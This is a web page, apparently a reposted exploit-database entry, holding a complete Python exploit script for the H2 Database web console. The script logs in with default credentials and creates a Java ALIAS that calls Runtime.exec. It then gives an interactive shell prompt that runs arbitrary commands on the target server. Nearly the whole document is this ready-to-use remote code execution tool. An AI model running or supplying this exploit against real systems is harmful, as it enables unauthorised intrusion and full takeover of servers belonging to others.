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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
'''
Exploit Title: H2 Database Alias Abuse
Date: 05/04/2018
Exploit Author: gambler
Vendor Homepage:www.h2database.com
Software Link: http://www.h2database.com/html/download.html
Version: all versions
Tested on: Linux, Mac OS
'''

import sys
import argparse
import html
import requests

# Blogpost about it
# https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html

def getCookie(host):
    url = 'http://{}'.format(host)
    r = requests.get(url)
    path = r.text.split('href = ')[1].split(';')[0].replace("'","").replace('.jsp','.do')
    return '{}/{}'.format(url,path)

def login(url,user,passwd,database):
    data = {'language':'en','setting':'Generic+H2+(Embedded)','name':'Generic+H2+(Embedded)','driver':'org.h2.Driver','url':database,'user':user,'password':passwd}
    r = requests.post(url,data=data)
    if '<th class="login">Login</th>' in r.text:
        return False
    return True

def prepare(url):
    cmd = '''CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : "";  }$$;'''
    url = url.replace('login','query')
    r = requests.post(url,data={'sql':cmd})
    if not 'Syntax error' in r.text:
        return url
    return False

def execve(url,cmd):
    r = requests.post(url,data={'sql':"CALL EXECVE('{}')".format(cmd)})
    try:
        print(html.unescape(r.text.split('</th></tr><tr><td>')[1].split('</td>')[0].replace('<br />','\n').replace('&nbsp;',' ')).encode('utf-8').decode('utf-8','ignore'))
    except Exception as e:
        print('Something goes wrong')
        print(e)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    required = parser.add_argument_group('required arguments')
    required.add_argument("-H",
            "--host",
            metavar='127.0.0.1:4336',
            help="Specify a host",
            required=True)
    required.add_argument("-d",
            "--database-url",
            metavar='jdbc:h2~/test',
            default="jdbc:h2~/test",
            help="Database URL",
            required=False)
    required.add_argument("-u",
            "--user",
            metavar='username',
            default="sa",
            help="Username to log on H2 Database, default sa",
            required=False)
    required.add_argument("-p",
            "--password",
            metavar='password',
            default="",
            help="Password to log on H2 Database, default None",
            required=False)
    args = parser.parse_args()

url = getCookie(args.host)
if login(url,args.user,args.password,args.database_url):
    url = prepare(url)
    if url:
        while 1:
            try:
                cmd = input('cmdline@ ')
                execve(url,cmd)
            except KeyboardInterrupt:
                print("\nProfessores ensinam, nadadores Nadam e Hackers Hackeiam")
                sys.exit(0)
    else:
        print('ERROR - Inserting Payload')
        print("Something goes wrong, exiting...")
else:
    print("ERROR - Auth")
    print("Something goes wrong, exiting...")